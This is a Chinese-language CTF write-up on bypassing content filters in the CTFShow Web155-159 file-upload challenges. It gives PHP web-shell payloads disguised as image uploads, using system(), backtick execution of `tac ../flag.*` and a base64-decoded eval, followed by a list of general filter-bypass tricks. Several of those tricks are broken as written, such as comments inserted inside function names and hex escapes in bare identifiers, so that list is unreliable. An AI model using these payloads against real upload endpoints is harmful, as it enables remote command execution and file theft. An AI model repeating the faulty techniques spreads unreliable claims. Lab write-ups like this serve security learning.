CTFShow-Web155-159:不同的过滤方式与绕过技巧
这些题目主要针对文件上传内容的过滤规则,通过对关键字符(如 php、[]、;、括号等)进行拦截来阻止恶意代码的执行。然而,这些过滤规则存在漏洞,可以通过替换、通配符和其他技术实现绕过。
🛠️ Web155-157 解题
过滤规则:
对上传文件内容进行了简单过滤,禁止包含以下字符:
• php
• []
绕过方式:
php可以尝试替换为Php、php2、php3、php5
[]替换为{}
将被过滤的字符替换,绕过过滤逻辑,其余步骤与 Web153 基本一致。
Web157-158 解题
过滤规则:
对以下字符进行了过滤:
• php
• []
• ;
绕过方式:
通过直接命令执行的方法绕过。
1. 首次上传图片内容:
<?=system('ls ../')?>
2. 访问 /upload/,查看目录列表:
返回内容示例:
flag.php images index.php js layui upload upload.php upload.phpnothing here
3. 再次上传图片获取 Flag:
图片内容:
<?=system('ls ../flag.*')?>
⚠️ 注意:
由于 php 被过滤,不能使用 。可以通过通配符 * 匹配文件名,如 flag.*。
Web159 解题
过滤规则:
• 除了 php、[]、;,还对括号 () 进行了过滤。
• 因此eval 函数也无法使用。
绕过方式:
利用 PHP 的反引号(``)执行系统命令,绕过过滤规则。
图片内容:
<?=`tac ../flag.*`?>
原理解析:
在 PHP 中:
• <?= 是 <?php echo 的简写,用于直接输出表达式的结果。
• 反引号(``)是 PHP 的执行运算符,其作用等同于 shell_exec() 函数。
• tac 是反向输出文件内容的 Linux 命令,tac ../flag.* 用于读取并反转显示 ../flag.* 文件的内容。
• 因此,代码 的功能相当于:
<?php echo shell_exec('tac ../flag.*'); ?>
PHP 中常见的字符过滤与绕过方法
常见过滤字符:
1. php:
• 替代方案:使用短标签 ,或尝试 p<h<p 等方式拆分。
2. ():
• 替代方案:使用反引号(``)执行命令。
3. ;:
• 替代方案:将多条命令合并为一条,或使用逻辑运算符 && 或 ||。
4. []:
• 替代方案:{}。
其他绕过技术:
1. Unicode 编码绕过:
• 将关键字符替换为其 Unicode 编码,例如 \u0070\u0068\u0070 表示 php。
2. 注释混淆:
• 在敏感关键字中插入 PHP 注释:
<?=sys/*注释*/tem('ls ../')?>
3. Base64 编码绕过:
• 使用 base64_decode() 解码并执行:
<?=eval(base64_decode('c3lzdGVtKCdscy4uLycpOw==')); ?>
4. 多字节编码绕过:
• 使用多字节字符分隔敏感关键字:
<?=syst\x65m('ls ../')?>